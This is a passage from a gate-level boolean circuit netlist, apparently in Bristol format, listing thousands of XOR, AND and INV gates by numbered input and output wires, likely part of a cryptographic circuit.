30212 30245 30204 AND +2 1 30204 30193 30183 XOR +2 1 30204 30207 30159 XOR +1 1 30159 30156 INV +2 1 30204 30205 30155 XOR +2 1 30205 30183 30143 XOR +2 1 30216 30248 30203 AND +2 1 30213 30254 30202 AND +2 1 30220 30251 30201 AND +2 1 30223 30255 30200 AND +2 1 30200 30183 30149 XOR +1 1 30149 30146 INV +2 1 30214 30259 30199 AND +2 1 30199 30203 30175 XOR +2 1 30208 30199 30160 XOR +1 1 30175 30153 INV +2 1 30217 30252 30198 AND +2 1 30206 30198 30162 XOR +2 1 30227 30253 30197 AND +2 1 30153 30197 30152 XOR +2 1 30152 30190 30148 XOR +2 1 30215 30258 30196 AND +2 1 30196 30148 30151 XOR +2 1 30212 30260 30195 AND +2 1 30195 30196 30189 XOR +2 1 30201 30189 30171 XOR +2 1 30202 30171 30172 XOR +2 1 30210 30172 30176 XOR +2 1 30211 30176 30181 XOR +2 1 30193 30181 35998 XOR +2 1 30162 30189 30158 XOR +2 1 30190 30158 30161 XOR +2 1 30160 30161 30264 XOR +2 1 30153 30158 30157 XOR +2 1 30156 30157 30263 XOR +2 1 30181 30155 30262 XOR +2 1 30171 30148 30147 XOR +2 1 30146 30147 35996 XOR +2 1 30209 30176 30145 XOR +2 1 30144 30145 35997 XOR +2 1 30172 30143 35999 XOR +2 1 30216 30257 30194 AND +2 1 30205 30194 30154 XOR +1 1 30154 30150 INV +2 1 30150 30151 30261 XOR +2 1 35999 36015 9393 XOR +1 1 9393 9289 INV +2 1 9393 35997 9135 XOR +2 1 8915 8898 8776 XOR +2 1 35831 8776 35722 XOR +2 1 35722 584 34077 XOR +2 1 34075 34077 30024 XOR +2 1 30024 30120 30105 XOR +2 1 34074 34077 30118 XOR +2 1 30118 30040 30114 XOR +2 1 30024 30030 30113 XOR +2 1 30040 30113 30111 XOR +2 1 30023 30118 30110 XOR +2 1 34070 30110 30109 XOR +2 1 30026 30024 29986 XOR +2 1 30023 29986 30108 XOR +2 1 34077 34071 30119 XOR +2 1 34077 34072 30117 XOR +2 1 30110 30114 30103 AND +2 1 30103 30026 30029 XOR +2 1 30111 30109 30102 AND +2 1 30119 30104 30100 AND +2 1 30100 30024 30028 XOR +2 1 30113 30106 30098 AND +2 1 30118 30107 30097 AND +2 1 30097 30025 30027 XOR +2 1 30029 30027 30033 XOR +2 1 34077 30033 30038 XOR +2 1 30120 30105 30096 AND +2 1 30096 30102 30047 XOR +2 1 30047 30038 30094 XOR +2 1 30096 30097 29999 XOR +2 1 29999 30000 30046 XOR +2 1 30046 30028 30045 XOR +2 1 30099 30045 30093 XOR +2 1 30117 30108 30095 AND +2 1 30095 30098 30048 XOR +2 1 30095 30101 30052 XOR +2 1 30052 30024 30039 XOR +2 1 30047 30039 30091 XOR +2 1 30096 30048 30042 XOR +2 1 30028 30048 30002 XOR +2 1 30002 30027 30092 XOR +2 1 30033 30052 30001 XOR +2 1 34075 30001 30044 XOR +2 1 30099 30042 29998 XOR +2 1 34071 29998 30086 XOR +2 1 30094 30093 30090 AND +2 1 30090 30044 30085 XOR +2 1 30090 30092 30089 XOR +2 1 30091 30089 30088 AND +2 1 30088 30044 30087 XOR +2 1 30088 30100 29993 XOR +2 1 29993 30029 29989 XOR +2 1 34077 29989 29992 XOR +2 1 30088 30038 29990 XOR +2 1 34075 29989 29988 XOR +2 1 30085 30086 30084 AND +2 1 30084 30092 30083 XOR +2 1 30090 30084 30082 XOR +2 1 30084 30042 29997 XOR +2 1 30084 30101 29996 XOR +2 1 29996 30098 29991 XOR +2 1 29991 29992 30075 XOR +2 1 30092 30082 30081 AND +2 1 30081 30089 30079 XOR +2 1 30081 30099 30051 XOR +2 1 30051 30045 30073 XOR +2 1 34071 30051 30034 XOR +2 1 30034 29997 30080 XOR +2 1 30087 30079 30078 AND +2 1 30078 30047 30037 XOR +2 1 30037 30039 30077 XOR +2 1 30078 30102 29995 XOR +2 1 30034 29995 29987 XOR +2 1 30024 29987 29994 XOR +2 1 29991 29994 30076 XOR +2 1 30037 29990 30074 XOR +2 1 29987 29988 30072 XOR +2 1 30073 30110 30071 AND +2 1 30080 30109 30070 AND +2 1 30083 34070 30069 AND +2 1 30069 30071 30050 XOR +2 1 30074 30104 30068 AND +2 1 30077 30116 30067 AND +2 1 30067 30068 30053 XOR +2 1 30087 30106 30066 AND +2 1 30066 30067 30004 XOR +2 1 30075 30107 30065 AND +2 1 30072 30105 30064 AND +2 1 30064 30053 30043 XOR +2 1 30064 30067 30019 XOR +1 1 30019 30016 INV +2 1 30064 30065 30015 XOR +2 1 30065 30043 30003 XOR +2 1 30076 30108 30063 AND +2 1 30073 30114 30062 AND +2 1 30080 30111 30061 AND +2 1 30083 30115 30060 AND +2 1 30060 30043 30009 XOR +1 1 30009 30006 INV +2 1 30074 30119 30059 AND +2 1 30059 30063 30035 XOR +2 1 30068 30059 30020 XOR +1 1 30035 30013 INV +2 1 30077 30112 30058 AND +2 1 30066 30058 30022 XOR +2 1 30087 30113 30057 AND +2 1 30013 30057 30012 XOR +2 1 30012 30050 30008 XOR +2 1 30075 30118 30056 AND +2 1 30056 30008 30011 XOR +2 1 30072 30120 30055 AND +2 1 30055 30056 30049 XOR +2 1 30061 30049 30031 XOR +2 1 30062 30031 30032 XOR +2 1 30070 30032 30036 XOR +2 1 30071 30036 30041 XOR +2 1 30053 30041 36046 XOR +2 1 36046 36040 9212 XOR +2 1 30022 30049 30018 XOR +2 1 30050 30018 30021 XOR +2 1 30020 30021 30124 XOR +2 1 30013 30018 30017 XOR +2 1 30016 30017 30123 XOR +2 1 30041 30015 30122 XOR +2 1 30031 30008 30007 XOR +2 1 30006 30007 36044 XOR +2 1 36044 9168 9167 XOR +2 1 30069 30036 30005 XOR +2 1 30004 30005 36045 XOR +2 1 36045 9161 9171 XOR +2 1 30032 30003 36047 XOR +2 1 30076 30117 30054 AND +2 1 30065 30054 30014 XOR +1 1 30014 30010 INV +2 1 30010 30011 30121 XOR +2 1 36045 36049 9421 XOR +2 1 36047 36051 9381 XOR +2 1 9381 33099 9231 XOR +2 1 35827 33204 8760 XOR +2 1 8915 8913 8761 XOR +2 1 33045 8761 35729 XOR +2 1 35729 577 34084 XOR +2 1 34084 9031 9113 XOR +2 1 8759 8760 35730 XOR +2 1 35730 576 34085 XOR +2 1 34083 34085 9030 XOR +2 1 34085 34079 9125 XOR +2 1 9125 9110 9106 AND +2 1 9106 9030 9034 XOR +2 1 34085 34080 9123 XOR +2 1 34082 34085 9124 XOR +2 1 9124 9113 9103 AND +2 1 33204 8788 35713 XOR +2 1 35713 593 34068 XOR +2 1 34068 28345 28427 XOR +2 1 34066 34068 28346 XOR +2 1 28423 28346 28349 XOR +2 1 34062 34068 28350 XOR +2 1 28350 28345 28426 XOR +2 1 28344 28350 28433 XOR +2 1 28360 28433 28431 XOR +2 1 34067 28350 28436 XOR +2 1 34063 28436 28432 XOR +2 1 28346 28344 28306 XOR +2 1 28343 28306 28428 XOR +2 1 28346 34067 28305 XOR +2 1 34062 28305 28435 XOR +2 1 28431 28429 28422 AND +2 1 28416 28422 28367 XOR +2 1 28435 34062 28421 AND +2 1 28436 28432 28419 AND +2 1 28433 28426 28418 AND +2 1 28438 28427 28417 AND +2 1 28417 28345 28347 XOR +2 1 28349 28347 28353 XOR +2 1 34069 28353 28358 XOR +2 1 28367 28358 28414 XOR +2 1 28416 28417 28319 XOR +2 1 28319 28320 28366 XOR +2 1 28366 28348 28365 XOR +2 1 28419 28365 28413 XOR +2 1 28437 28428 28415 AND +2 1 28415 28418 28368 XOR +2 1 28415 28421 28372 XOR +2 1 28372 28344 28359 XOR +2 1 28367 28359 28411 XOR +2 1 28416 28368 28362 XOR +2 1 28348 28368 28322 XOR +2 1 28322 28347 28412 XOR +2 1 28353 28372 28321 XOR +2 1 34067 28321 28364 XOR +2 1 28419 28362 28318 XOR +2 1 34063 28318 28406 XOR +2 1 28414 28413 28410 AND +2 1 28410 28364 28405 XOR +2 1 28410 28412 28409 XOR +2 1 28411 28409 28408 AND +2 1 28408 28364 28407 XOR +2 1 28408 28420 28313 XOR +2 1 28313 28349 28309 XOR +2 1 34069 28309 28312 XOR +2 1 28408 28358 28310 XOR +2 1 34067 28309 28308 XOR +2 1 28405 28406 28404 AND +2 1 28404 28412 28403 XOR +2 1 28410 28404 28402 XOR +2 1 28404 28362 28317 XOR +2 1 28404 28421 28316 XOR +2 1 28316 28418 28311 XOR +2 1 28311 28312 28395 XOR +2 1 28412 28402 28401 AND +2 1 28401 28409 28399 XOR +2 1 28401 28419 28371 XOR +2 1 28371 28365 28393 XOR +2 1 34063 28371 28354 XOR +2 1 28354 28317 28400 XOR +2 1 28407 28399 28398 AND +2 1 28398 28367 28357 XOR +2 1 28357 28359 28397 XOR +2 1 28398 28422 28315 XOR +2 1 28354 28315 28307 XOR +2 1 28344 28307 28314 XOR +2 1 28311 28314 28396 XOR +2 1 28357 28310 28394 XOR +2 1 28307 28308 28392 XOR +2 1 28393 28430 28391 AND +2 1 28400 28429 28390 AND +2 1 28403 34062 28389 AND +2 1 28389 28391 28370 XOR +2 1 28394 28424 28388 AND +2 1 28397 28436 28387 AND +2 1 28387 28388 28373 XOR +2 1 28407 28426 28386 AND +2 1 28386 28387 28324 XOR +2 1 28395 28427 28385 AND +2 1 28392 28425 28384 AND +2 1 28384 28373 28363 XOR +2 1 28384 28387 28339 XOR +1 1 28339 28336 INV +2 1 28384 28385 28335 XOR +2 1 28385 28363 28323 XOR +2 1 28396 28428 28383 AND +2 1 28393 28434 28382 AND +2 1 28400 28431 28381 AND +2 1 28403 28435 28380 AND +2 1 28380 28363 28329 XOR +1 1 28329 28326 INV +2 1 28394 28439 28379 AND +2 1 28379 28383 28355 XOR +2 1 28388 28379 28340 XOR +1 1 28355 28333 INV +2 1 28397 28432 28378 AND +2 1 28386 28378 28342 XOR +2 1 28407 28433 28377 AND +2 1 28333 28377 28332 XOR +2 1 28332 28370 28328 XOR +2 1 28395 28438 28376 AND +2 1 28376 28328 28331 XOR +2 1 28392 28440 28375 AND +2 1 28375 28376 28369 XOR +2 1 28381 28369 28351 XOR +2 1 28382 28351 28352 XOR +2 1 28390 28352 28356 XOR +2 1 28391 28356 28361 XOR +2 1 28373 28361 36059 XOR +2 1 28342 28369 28338 XOR +2 1 28370 28338 28341 XOR +2 1 28340 28341 28444 XOR +2 1 28333 28338 28337 XOR +2 1 28336 28337 28443 XOR +2 1 28361 28335 28442 XOR +2 1 28351 28328 28327 XOR +2 1 28326 28327 36057 XOR +2 1 28389 28356 28325 XOR +2 1 28324 28325 36058 XOR +2 1 36058 36057 9134 XOR +2 1 36058 9185 9184 XOR +2 1 28352 28323 36060 XOR +2 1 36056 36060 9380 XOR +2 1 28396 28437 28374 AND +2 1 28385 28374 28334 XOR +1 1 28334 28330 INV +2 1 28330 28331 28441 XOR +2 1 36052 36057 9419 XOR +2 1 36060 24105 9371 XOR +2 1 9289 33104 9318 XOR +2 1 36044 36048 9431 XOR +1 1 9431 9244 INV +2 1 9244 33100 9242 XOR +2 1 36043 36047 9388 XOR +2 1 9388 33100 9164 XOR +2 1 9029 9124 9116 XOR +2 1 36046 36050 9412 XOR +2 1 35996 36011 9428 XOR +2 1 34078 9116 9115 XOR +2 1 9030 9126 9111 XOR +2 1 9126 9111 9102 AND +2 1 9102 9103 9005 XOR +2 1 9005 9006 9052 XOR +2 1 9052 9034 9051 XOR +2 1 34082 34084 9032 XOR +2 1 9032 34083 8991 XOR +2 1 34078 8991 9121 XOR +2 1 9121 34078 9107 AND +2 1 9032 9030 8992 XOR +2 1 9029 8992 9114 XOR +2 1 9123 9114 9101 AND +2 1 34078 34084 9036 XOR +2 1 34083 9036 9122 XOR +2 1 34079 9122 9118 XOR +2 1 9122 9118 9105 AND +2 1 9105 9051 9099 XOR +2 1 9036 9031 9112 XOR +2 1 9103 9031 9033 XOR +2 1 9030 9036 9119 XOR +2 1 9119 9112 9104 AND +2 1 9046 9119 9117 XOR +2 1 9117 9115 9108 AND +2 1 9102 9108 9053 XOR +2 1 9101 9104 9054 XOR +2 1 9034 9054 9008 XOR +2 1 9008 9033 9098 XOR +2 1 9101 9107 9058 XOR +2 1 9058 9030 9045 XOR +2 1 9053 9045 9097 XOR +2 1 9102 9054 9048 XOR +2 1 9105 9048 9004 XOR +2 1 34079 9004 9092 XOR +2 1 36054 36059 9445 XOR +1 1 9381 9478 INV +2 1 9478 36045 9198 XOR +2 1 9478 36046 9195 XOR +1 1 9428 9290 INV +2 1 9124 9046 9120 XOR +2 1 9116 9120 9109 AND +2 1 9109 9032 9035 XOR +2 1 9035 9033 9039 XOR +2 1 9039 9058 9007 XOR +2 1 34083 9007 9050 XOR +2 1 34085 9039 9044 XOR +2 1 9053 9044 9100 XOR +2 1 9100 9099 9096 AND +2 1 9096 9050 9091 XOR +2 1 9091 9092 9090 AND +2 1 9090 9107 9002 XOR +2 1 9002 9104 8997 XOR +2 1 9096 9090 9088 XOR +2 1 9098 9088 9087 AND +2 1 9090 9048 9003 XOR +2 1 9090 9098 9089 XOR +2 1 9089 34078 9075 AND +2 1 9089 9121 9066 AND +2 1 9087 9105 9057 XOR +2 1 9057 9051 9079 XOR +2 1 9079 9120 9068 AND +2 1 9079 9116 9077 AND +2 1 9075 9077 9056 XOR +2 1 34079 9057 9040 XOR +2 1 9040 9003 9086 XOR +2 1 9086 9117 9067 AND +2 1 9086 9115 9076 AND +2 1 9096 9098 9095 XOR +2 1 9087 9095 9085 XOR +2 1 9097 9095 9094 AND +2 1 9094 9106 8999 XOR +2 1 8999 9035 8995 XOR +2 1 34085 8995 8998 XOR +2 1 9094 9044 8996 XOR +2 1 34083 8995 8994 XOR +2 1 8997 8998 9081 XOR +2 1 9081 9124 9062 AND +2 1 9081 9113 9071 AND +2 1 9094 9050 9093 XOR +2 1 9093 9119 9063 AND +2 1 9093 9112 9072 AND +2 1 9093 9085 9084 AND +2 1 9084 9108 9001 XOR +2 1 9084 9053 9043 XOR +2 1 9043 8996 9080 XOR +2 1 9080 9125 9065 AND +2 1 9080 9110 9074 AND +2 1 9074 9065 9026 XOR +2 1 9040 9001 8993 XOR +2 1 9030 8993 9000 XOR +2 1 8997 9000 9082 XOR +2 1 9082 9123 9060 AND +2 1 8993 8994 9078 XOR +2 1 9078 9126 9061 AND +2 1 9082 9114 9069 AND +2 1 9078 9111 9070 AND +2 1 9061 9062 9055 XOR +2 1 9065 9069 9041 XOR +2 1 9070 9071 9021 XOR +2 1 9071 9060 9020 XOR +1 1 9020 9016 INV +2 1 9067 9055 9037 XOR +2 1 9068 9037 9038 XOR +2 1 9076 9038 9042 XOR +2 1 9075 9042 9011 XOR +2 1 9043 9045 9083 XOR +2 1 9083 9118 9064 AND +2 1 9072 9064 9028 XOR +2 1 9083 9122 9073 AND +2 1 9072 9073 9010 XOR +2 1 9070 9073 9025 XOR +1 1 9025 9022 INV +2 1 9010 9011 36030 XOR +2 1 36026 36030 9408 XOR +2 1 9077 9042 9047 XOR +2 1 9047 9021 9128 XOR +2 1 9028 9055 9024 XOR +2 1 9056 9024 9027 XOR +2 1 9026 9027 9130 XOR +1 1 9041 9019 INV +2 1 9019 9024 9023 XOR +2 1 9022 9023 9129 XOR +2 1 9019 9063 9018 XOR +2 1 9018 9056 9014 XOR +2 1 9062 9014 9017 XOR +2 1 9037 9014 9013 XOR +2 1 9016 9017 9127 XOR +2 1 9073 9074 9059 XOR +2 1 9059 9047 36031 XOR +2 1 36027 36031 9403 XOR +2 1 9070 9059 9049 XOR +2 1 9066 9049 9015 XOR +1 1 9015 9012 INV +2 1 9012 9013 36029 XOR +2 1 36025 36029 9413 XOR +2 1 9071 9049 9009 XOR +2 1 9038 9009 36032 XOR +2 1 36019 36032 9392 XOR +2 1 9392 36030 9143 XOR +1 1 9392 9139 INV +2 1 9139 36029 9140 XOR +1 1 9130 32814 INV +2 1 33173 32814 9420 XOR +2 1 9420 9392 9298 XOR +2 1 9139 32814 9137 XOR +1 1 9127 32815 INV +2 1 32815 33166 9293 XOR +2 1 33178 32815 9398 XOR +2 1 9398 36031 9294 XOR +1 1 9128 32816 INV +2 1 33167 32816 9401 XOR +2 1 9401 33178 9264 XOR +1 1 9129 32817 INV +2 1 33180 32817 9416 XOR +2 1 9413 32817 9296 XOR +1 1 28444 33125 INV +1 1 28441 33130 INV +2 1 33130 36059 9349 XOR +1 1 28442 33131 INV +1 1 28443 33132 INV +2 1 33041 33132 9434 XOR +1 1 9434 9343 INV +2 1 33042 33125 9442 XOR +1 1 30124 33165 INV +2 1 33165 33093 9443 XOR +2 1 33165 33129 9165 XOR +2 1 9164 9165 9460 XOR +1 1 30264 33169 INV +2 1 33169 33097 9449 XOR +1 1 30121 33170 INV +2 1 33170 28581 9209 XOR +2 1 33170 33098 9406 XOR +2 1 9406 36050 9241 XOR +1 1 9241 9239 INV +1 1 30122 33171 INV +2 1 33171 28582 9207 XOR +2 1 33171 33099 9395 XOR +2 1 9395 33098 9234 XOR +1 1 30123 33172 INV +2 1 33172 28583 9214 XOR +2 1 33172 33100 9435 XOR +2 1 9478 33172 9203 XOR +1 1 9388 9169 INV +2 1 9169 36049 9166 XOR +2 1 9166 9167 9459 XOR +2 1 9169 36050 9170 XOR +2 1 9170 9171 9458 XOR +1 1 30261 33174 INV +1 1 30262 33175 INV +1 1 30263 33176 INV +2 1 33176 33104 9448 XOR +2 1 36028 36032 9382 XOR +2 1 9382 9252 9251 XOR +2 1 9401 9382 9291 XOR +2 1 9382 36026 9258 XOR +2 1 9382 33180 9261 XOR +2 1 36055 33131 9444 XOR +1 1 8899 33231 INV +2 1 33231 35833 8738 XOR +2 1 33231 35850 8719 XOR +2 1 33231 35834 8736 XOR +2 1 33231 33181 8742 XOR +2 1 8741 8742 8740 XOR +1 1 8740 35740 INV +2 1 8737 8738 35742 XOR +2 1 35742 564 34097 XOR +2 1 34097 34096 28180 XOR +2 1 8735 8736 35743 XOR +2 1 35743 563 34098 XOR +2 1 34098 34100 28206 XOR +2 1 34098 34101 28298 XOR +2 1 34096 34098 28300 XOR +2 1 28204 28300 28285 XOR +2 1 28206 28204 28166 XOR +2 1 28206 34099 28165 XOR +2 1 34094 28165 28295 XOR +2 1 28295 34094 28281 AND +2 1 28300 28285 28276 AND +2 1 8719 8720 35754 XOR +2 1 35754 552 34109 XOR +2 1 34107 34109 29744 XOR +2 1 29744 29840 29825 XOR +2 1 34106 34109 29838 XOR +2 1 29838 29760 29834 XOR +2 1 29743 29838 29830 XOR +2 1 29746 29744 29706 XOR +2 1 29743 29706 29828 XOR +2 1 34109 34103 29839 XOR +2 1 34109 34104 29837 XOR +2 1 29830 29834 29823 AND +2 1 29823 29746 29749 XOR +2 1 29839 29824 29820 AND +2 1 29820 29744 29748 XOR +2 1 29838 29827 29817 AND +2 1 29817 29745 29747 XOR +2 1 29749 29747 29753 XOR +2 1 34109 29753 29758 XOR +2 1 29840 29825 29816 AND +2 1 29816 29817 29719 XOR +2 1 29719 29720 29766 XOR +2 1 29766 29748 29765 XOR +2 1 29837 29828 29815 AND +2 1 35740 566 34095 XOR +2 1 34095 34097 28203 XOR +2 1 34096 28203 28205 XOR +2 1 34100 28205 28287 XOR +2 1 34099 28205 28284 XOR +2 1 28210 28205 28286 XOR +2 1 34095 28296 28292 XOR +2 1 28203 28298 28290 XOR +2 1 34094 28290 28289 XOR +2 1 34095 34096 28220 XOR +2 1 28220 28293 28291 XOR +2 1 28298 28220 28294 XOR +2 1 28203 28166 28288 XOR +2 1 34101 34095 28299 XOR +2 1 28290 28294 28283 AND +2 1 28283 28206 28209 XOR +2 1 28291 28289 28282 AND +2 1 28276 28282 28227 XOR +2 1 28299 28284 28280 AND +2 1 28280 28204 28208 XOR +2 1 28296 28292 28279 AND +2 1 28293 28286 28278 AND +2 1 28298 28287 28277 AND +2 1 28277 28205 28207 XOR +2 1 28209 28207 28213 XOR +2 1 34101 28213 28218 XOR +2 1 28227 28218 28274 XOR +2 1 28276 28277 28179 XOR +2 1 28179 28180 28226 XOR +2 1 28226 28208 28225 XOR +2 1 28279 28225 28273 XOR +2 1 28297 28288 28275 AND +2 1 28275 28278 28228 XOR +2 1 28275 28281 28232 XOR +2 1 28232 28204 28219 XOR +2 1 28227 28219 28271 XOR +2 1 28276 28228 28222 XOR +2 1 28208 28228 28182 XOR +2 1 28182 28207 28272 XOR +2 1 28213 28232 28181 XOR +2 1 34099 28181 28224 XOR +2 1 28279 28222 28178 XOR +2 1 34095 28178 28266 XOR +2 1 28274 28273 28270 AND +2 1 28270 28224 28265 XOR +2 1 28270 28272 28269 XOR +2 1 28271 28269 28268 AND +2 1 28268 28224 28267 XOR +2 1 28268 28280 28173 XOR +2 1 28173 28209 28169 XOR +2 1 34101 28169 28172 XOR +2 1 28268 28218 28170 XOR +2 1 34099 28169 28168 XOR +2 1 28265 28266 28264 AND +2 1 28264 28272 28263 XOR +2 1 28270 28264 28262 XOR +2 1 28264 28222 28177 XOR +2 1 28264 28281 28176 XOR +2 1 28176 28278 28171 XOR +2 1 28171 28172 28255 XOR +2 1 28272 28262 28261 AND +2 1 28261 28269 28259 XOR +2 1 28261 28279 28231 XOR +2 1 28231 28225 28253 XOR +2 1 34095 28231 28214 XOR +2 1 28214 28177 28260 XOR +2 1 28267 28259 28258 AND +2 1 28258 28227 28217 XOR +2 1 28217 28219 28257 XOR +2 1 28258 28282 28175 XOR +2 1 28214 28175 28167 XOR +2 1 28204 28167 28174 XOR +2 1 28171 28174 28256 XOR +2 1 28217 28170 28254 XOR +2 1 28167 28168 28252 XOR +2 1 28253 28290 28251 AND +2 1 28260 28289 28250 AND +2 1 28263 34094 28249 AND +2 1 28249 28251 28230 XOR +2 1 28254 28284 28248 AND +2 1 28257 28296 28247 AND +2 1 28247 28248 28233 XOR +2 1 28267 28286 28246 AND +2 1 28246 28247 28184 XOR +2 1 28255 28287 28245 AND +2 1 28252 28285 28244 AND +2 1 28244 28233 28223 XOR +2 1 28244 28247 28199 XOR +1 1 28199 28196 INV +2 1 28244 28245 28195 XOR +2 1 28245 28223 28183 XOR +2 1 28256 28288 28243 AND +2 1 28253 28294 28242 AND +2 1 28260 28291 28241 AND +2 1 28263 28295 28240 AND +2 1 28240 28223 28189 XOR +1 1 28189 28186 INV +2 1 28254 28299 28239 AND +2 1 28239 28243 28215 XOR +2 1 28248 28239 28200 XOR +1 1 28215 28193 INV +2 1 28257 28292 28238 AND +2 1 28246 28238 28202 XOR +2 1 28267 28293 28237 AND +2 1 28193 28237 28192 XOR +2 1 28192 28230 28188 XOR +2 1 28255 28298 28236 AND +2 1 28236 28188 28191 XOR +2 1 28252 28300 28235 AND +2 1 28235 28236 28229 XOR +2 1 28241 28229 28211 XOR +2 1 28242 28211 28212 XOR +2 1 28250 28212 28216 XOR +2 1 28251 28216 28221 XOR +2 1 28233 28221 36002 XOR +2 1 35998 36002 9441 XOR +2 1 28202 28229 28198 XOR +2 1 28230 28198 28201 XOR +2 1 28200 28201 28304 XOR +2 1 28193 28198 28197 XOR +2 1 28196 28197 28303 XOR +2 1 28221 28195 28302 XOR +2 1 33103 28302 9238 XOR +2 1 28211 28188 28187 XOR +2 1 28186 28187 36000 XOR +2 1 28249 28216 28185 XOR +2 1 28184 28185 36001 XOR +2 1 28212 28183 36005 XOR +2 1 27042 36005 9218 XOR +2 1 28256 28297 28234 AND +2 1 28245 28234 28194 XOR +1 1 28194 28190 INV +2 1 28190 28191 28301 XOR +2 1 36013 28301 9255 XOR +1 1 28302 36004 INV +1 1 28301 36003 INV +2 1 35999 36005 9386 XOR +2 1 9386 35997 9176 XOR +2 1 9449 9386 9201 XOR +2 1 35996 36000 9177 XOR +2 1 33174 36003 9438 XOR +2 1 9438 33103 9314 XOR +2 1 9289 36001 9288 XOR +2 1 9176 9177 9455 XOR +2 1 36012 36002 9136 XOR +2 1 9135 9136 9472 XOR +2 1 35997 36001 9450 XOR +1 1 9450 9332 INV +2 1 33175 36004 9436 XOR +2 1 9436 27042 9312 XOR +1 1 28303 33126 INV +2 1 9290 33126 9359 XOR +1 1 28304 33127 INV +2 1 35747 559 34102 XOR +2 1 34102 29830 29829 XOR +2 1 34102 34108 29750 XOR +2 1 29750 29745 29826 XOR +2 1 29744 29750 29833 XOR +2 1 29760 29833 29831 XOR +2 1 34107 29750 29836 XOR +2 1 34103 29836 29832 XOR +2 1 34102 29705 29835 XOR +2 1 29831 29829 29822 AND +2 1 29816 29822 29767 XOR +2 1 29767 29758 29814 XOR +2 1 29835 34102 29821 AND +2 1 29815 29821 29772 XOR +2 1 29772 29744 29759 XOR +2 1 29767 29759 29811 XOR +2 1 29753 29772 29721 XOR +2 1 34107 29721 29764 XOR +2 1 29836 29832 29819 AND +2 1 29819 29765 29813 XOR +2 1 29833 29826 29818 AND +2 1 29815 29818 29768 XOR +2 1 29816 29768 29762 XOR +2 1 29748 29768 29722 XOR +2 1 29722 29747 29812 XOR +2 1 29819 29762 29718 XOR +2 1 34103 29718 29806 XOR +2 1 29814 29813 29810 AND +2 1 29810 29764 29805 XOR +2 1 29810 29812 29809 XOR +2 1 29811 29809 29808 AND +2 1 29808 29764 29807 XOR +2 1 29808 29820 29713 XOR +2 1 29713 29749 29709 XOR +2 1 34109 29709 29712 XOR +2 1 29808 29758 29710 XOR +2 1 34107 29709 29708 XOR +2 1 29805 29806 29804 AND +2 1 29804 29812 29803 XOR +2 1 29810 29804 29802 XOR +2 1 29804 29762 29717 XOR +2 1 29804 29821 29716 XOR +2 1 29716 29818 29711 XOR +2 1 29711 29712 29795 XOR +2 1 29812 29802 29801 AND +2 1 29801 29809 29799 XOR +2 1 29801 29819 29771 XOR +2 1 29771 29765 29793 XOR +2 1 34103 29771 29754 XOR +2 1 29754 29717 29800 XOR +2 1 29807 29799 29798 AND +2 1 29798 29767 29757 XOR +2 1 29757 29759 29797 XOR +2 1 29798 29822 29715 XOR +2 1 29754 29715 29707 XOR +2 1 29744 29707 29714 XOR +2 1 29711 29714 29796 XOR +2 1 29757 29710 29794 XOR +2 1 29707 29708 29792 XOR +2 1 29793 29830 29791 AND +2 1 29800 29829 29790 AND +2 1 29803 34102 29789 AND +2 1 29789 29791 29770 XOR +2 1 29794 29824 29788 AND +2 1 29797 29836 29787 AND +2 1 29787 29788 29773 XOR +2 1 29807 29826 29786 AND +2 1 29786 29787 29724 XOR +2 1 29795 29827 29785 AND +2 1 29792 29825 29784 AND +2 1 29784 29773 29763 XOR +2 1 29784 29787 29739 XOR +1 1 29739 29736 INV +2 1 29784 29785 29735 XOR +2 1 29785 29763 29723 XOR +2 1 29796 29828 29783 AND +2 1 29793 29834 29782 AND +2 1 29800 29831 29781 AND +2 1 29803 29835 29780 AND +2 1 29780 29763 29729 XOR +1 1 29729 29726 INV +2 1 29794 29839 29779 AND +2 1 29779 29783 29755 XOR +2 1 29788 29779 29740 XOR +1 1 29755 29733 INV +2 1 29797 29832 29778 AND +2 1 29786 29778 29742 XOR +2 1 29807 29833 29777 AND +2 1 29733 29777 29732 XOR +2 1 29732 29770 29728 XOR +2 1 29795 29838 29776 AND +2 1 29776 29728 29731 XOR +2 1 29792 29840 29775 AND +2 1 29775 29776 29769 XOR +2 1 29781 29769 29751 XOR +2 1 29782 29751 29752 XOR +2 1 29790 29752 29756 XOR +2 1 29791 29756 29761 XOR +2 1 29773 29761 36063 XOR +2 1 29742 29769 29738 XOR +2 1 29770 29738 29741 XOR +2 1 29740 29741 29844 XOR +2 1 29733 29738 29737 XOR +2 1 29736 29737 29843 XOR +2 1 29761 29735 29842 XOR +2 1 29751 29728 29727 XOR +2 1 29726 29727 36061 XOR +2 1 29789 29756 29725 XOR +2 1 29724 29725 36062 XOR +2 1 36058 36062 9399 XOR +2 1 29752 29723 36064 XOR +2 1 36060 36064 9394 XOR +2 1 9442 9394 9354 XOR +2 1 9394 36061 9133 XOR +2 1 29796 29837 29774 AND +2 1 29785 29774 29734 XOR +1 1 29734 29730 INV +2 1 29730 29731 29841 XOR +2 1 36063 36062 9187 XOR +2 1 9133 9134 9473 XOR +2 1 9445 9399 9350 XOR +1 1 29844 33157 INV +2 1 33157 33125 9132 XOR +1 1 29841 33162 INV +2 1 33130 33162 9404 XOR +2 1 9444 9404 9347 XOR +1 1 9404 9375 INV +1 1 29842 33163 INV +2 1 33163 33131 9346 XOR +2 1 33163 33162 9335 XOR +1 1 29843 33164 INV +2 1 33164 33132 9353 XOR +1 1 8130 33247 INV +2 1 33247 32861 8031 XOR +2 1 8030 8031 8029 XOR +1 1 8029 35507 INV +2 1 33247 35615 8027 XOR +2 1 8026 8027 35509 XOR +2 1 33247 35616 8024 XOR +2 1 8023 8024 35510 XOR +2 1 35507 726 33935 XOR +2 1 33935 28996 28992 XOR +2 1 33935 33936 28920 XOR +2 1 28920 28993 28991 XOR +2 1 33941 33935 28999 XOR +2 1 28996 28992 28979 AND +2 1 35509 724 33937 XOR +2 1 33935 33937 28903 XOR +2 1 33936 28903 28905 XOR +2 1 33940 28905 28987 XOR +2 1 33939 28905 28984 XOR +2 1 28910 28905 28986 XOR +2 1 33937 33936 28880 XOR +2 1 28999 28984 28980 AND +2 1 28980 28904 28908 XOR +2 1 28993 28986 28978 AND +2 1 35510 723 33938 XOR +2 1 33938 33940 28906 XOR +2 1 33938 33941 28998 XOR +2 1 28998 28920 28994 XOR +2 1 28903 28998 28990 XOR +2 1 33934 28990 28989 XOR +2 1 33936 33938 29000 XOR +2 1 28904 29000 28985 XOR +2 1 28906 28904 28866 XOR +2 1 28903 28866 28988 XOR +2 1 28906 33939 28865 XOR +2 1 33934 28865 28995 XOR +2 1 28990 28994 28983 AND +2 1 28983 28906 28909 XOR +2 1 28991 28989 28982 AND +2 1 28995 33934 28981 AND 